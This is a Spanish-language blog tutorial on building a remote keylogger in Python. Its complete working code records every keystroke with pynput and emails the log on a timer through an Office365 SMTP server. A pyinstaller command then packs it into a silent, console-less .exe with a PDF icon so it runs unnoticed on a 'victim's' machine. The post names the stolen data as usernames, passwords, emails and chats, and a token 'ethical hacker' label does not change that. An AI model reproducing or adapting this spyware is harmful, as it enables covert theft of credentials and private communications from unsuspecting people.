Cómo crear un keylogger usando Python

Crea tu propio Keylogger usando Python

 

En este artículo crearemos nuestro propio keylogger remoto, un keylogger es un programa que registra todas las datos ingresados por el teclado.  Programas como estos son muy importantes debido a su naturaleza en almacenar todo lo que el usuario presiona en el teclado.

Podrás almacerar usuarios, claves, correos, chats y un sin número de casos adicionales, hay 2 tipos de keyloggers: los que guardan la información localmente y los remotos que envían la información a un correo o a un servidor. Este último es más útil para mi y por eso quiero enseñarles cómo hacerlo.

Empezaremos con lo básico del programa y por último crearemos un ejecutable que corra en segundo plano sin que el usuario se de cuenta, para esto lo camuflaremos dentro de un archivo pdf.

No me hago responsable por el uso que le den.

Instalando las librerías

Instalaremos las librerias pynput y pyinstaller, adicionalmente usaremos las librerias que por defecto vienen con python las cuales son threading y smtplib

pip install pynput


pip install pyinstaller

 

Creando el código

Importaremos la libreria que previamente instalamos e invocaremos al método  keyboard.Listener el cual registra todo lo ingresado en el teclado.

import pynput.keyboard

def process_key_press(key):
    print (key)

keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)

 

Pero hasta aquí simplemente hemos creado la función pero no la hemos inicializado. Para esto usamos “with” junto con el método .join()  al final de nuestro código ya creado.

with keyboard_listener:
    keyboard_listener.join()

 

Ahora si corremos el programa notaremos que registra en la consola todo lo que se teclea, pero el resultado no es muy fácil de leer.

Para solucionar esto, modificaremos la función para que omita los espacios además crearemos una función para que se envíen los reportes al correo que querramos dada una cantidad de tiempo que podemos determinar.

Crearemos una clase a la que por convención llamaremos keylogger y en esta pondremos las funciones que hemos creado. Hacemos de esta manera para tener un mejor control, es decir, una programación orientada a objetos.

A continuación les muestro el código del primer archivo .py de nuestro keylogger (son 2 archivos),  considero que no es necesario explicar todo el código porque es fácil de leer y se puede deducir lo que hace. Y si estás en este tutorial es porque ya tienes el conocimiento básico de python y entiendo que quieres ir al grano, ir directo a cómo hacer el keylogger.

El primer archivo .py es el siguiente. Sugiero que lo llames keylogger.py

import pynput.keyboard
import threading
import smtplib



class Keylogger:
    def __init__(self, time_interval,email,password):
        self.log = "Keylogger started"
        self.interval = time_interval
        self.email = email
        self.password = password

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key) 

    def report(self):
        self.send_mail(self.email, self.password, "\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def send_mail(self,email,password,message,):
        server = smtplib.SMTP("smtp.office365.com", 587)
        server.starttls()
        server.login(email,password)
        server.sendmail(email,email,message)
        server.quit

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

 

Nótese que la función send_mail usa la libreria smtplib y a su vez para este ejemplo que yo usé una cuenta hotmail tuve que escribir la dirección smtp (smtp.office365.com) junto con el puerto. Si usas gmail o yahoo puedes googlear cuál es la dirección smtp

Ahora procedemos a crear otro archivo python, este puedes llamarlo como quieras y de preferencia que esté en la misma carpeta donde tienes keylogger.py

En este archivo importaremos keylogger (nuestro primer archivo) y gracias a que creamos una clase la podremos ahora llamar y asignar los parámetros.

Si revisaste el código del primer archivo (keylogger.py) te habrás dado cuenta que el primer parámetro es el intervalo de tiempo para que se envíen los mensajes, el segundo parámetro es el correo y el tercer parámetro es la clave del correo.

Está de más decir que los reportes serán enviados a esa misma dirección de correo.

import keylogger

my_keylogger = keylogger.Keylogger(200,"[email protected]","clave_correo")
my_keylogger.start()

Y ya está creado nuestro keylogger

Convirtiéndolo a un ejecutable y ocultándolo en un pdf

Pero esto no es todo, somos buenos hackers éticos y debemos hacer que el programa corra silenciosamente en la computadora de la víctima.

La mejor manera es por medio de incrustar el keylogger en una foto o un pdf. Usaremos la libreria pyinstaller para poder convertir el .py a un .ejecutable .exe y con esta librería también añadiremos un ícono.

En la misma carpeta donde están los dos archivos que hemos creado, daremos click derecho y seleccionaremos abrir ventana de comandos (cmd)

En la ventana de comandos escribiremos estas lineas.

E:\PythonProjects\EthicalHacking\keylogger>C:\Python3\Scripts\pyinstaller.exe --add-data "E:\Desktop\Data\Control\sample.pdf;." --onefile --noconsole --icon C:\Users\Usuario\Downloads\pdf.ico mikeylogger.py

 

Te las explico: La primera ruta hace referencia a la carpeta donde yo tenía guardado los archivos, la segunda ruta es donde se instaló la librería pyinstaller (esto debe estar correctamente referenciado).

Luego añadimos el comando –add-data el cual como su nombre lo dice añade la data, en nuestro ejemplo puse la ruta de un pdf de muestra. Esta ruta debe ir entre comillas.

Los comandos –onefile hacen que todo se empaquete en un solo archivo .exe y –noconsole hace que el programa se ejecute en segundo plano sin que se muestre nada a la víctima.

El comando –icon sirve para añadir un ícono al ejecutable, de preferencia que sea un ícono de un pdf

Y por último ponemos el nombre de nuestro segundo archivo .py  para que ese sea el que se convierta.

Pyinstaller empaqueta de tal manera que no es necesario que la víctima tenga python instalado lo cual es de extrema utilidad.

 

Si te gustó este tutorial, déjamelo saber en los comentarios al igual con las dudas y comentarios que tengas.

Así me darás ánimos para seguir escribiendo más tutoriales.

Previous

Flutter y la creación de aplicaciones móvil y web

Crea una tarjeta de presentación- tu primera aplicación Flutter

Next

3 comentarios en “Cómo crear un keylogger usando Python”

Deja un comentario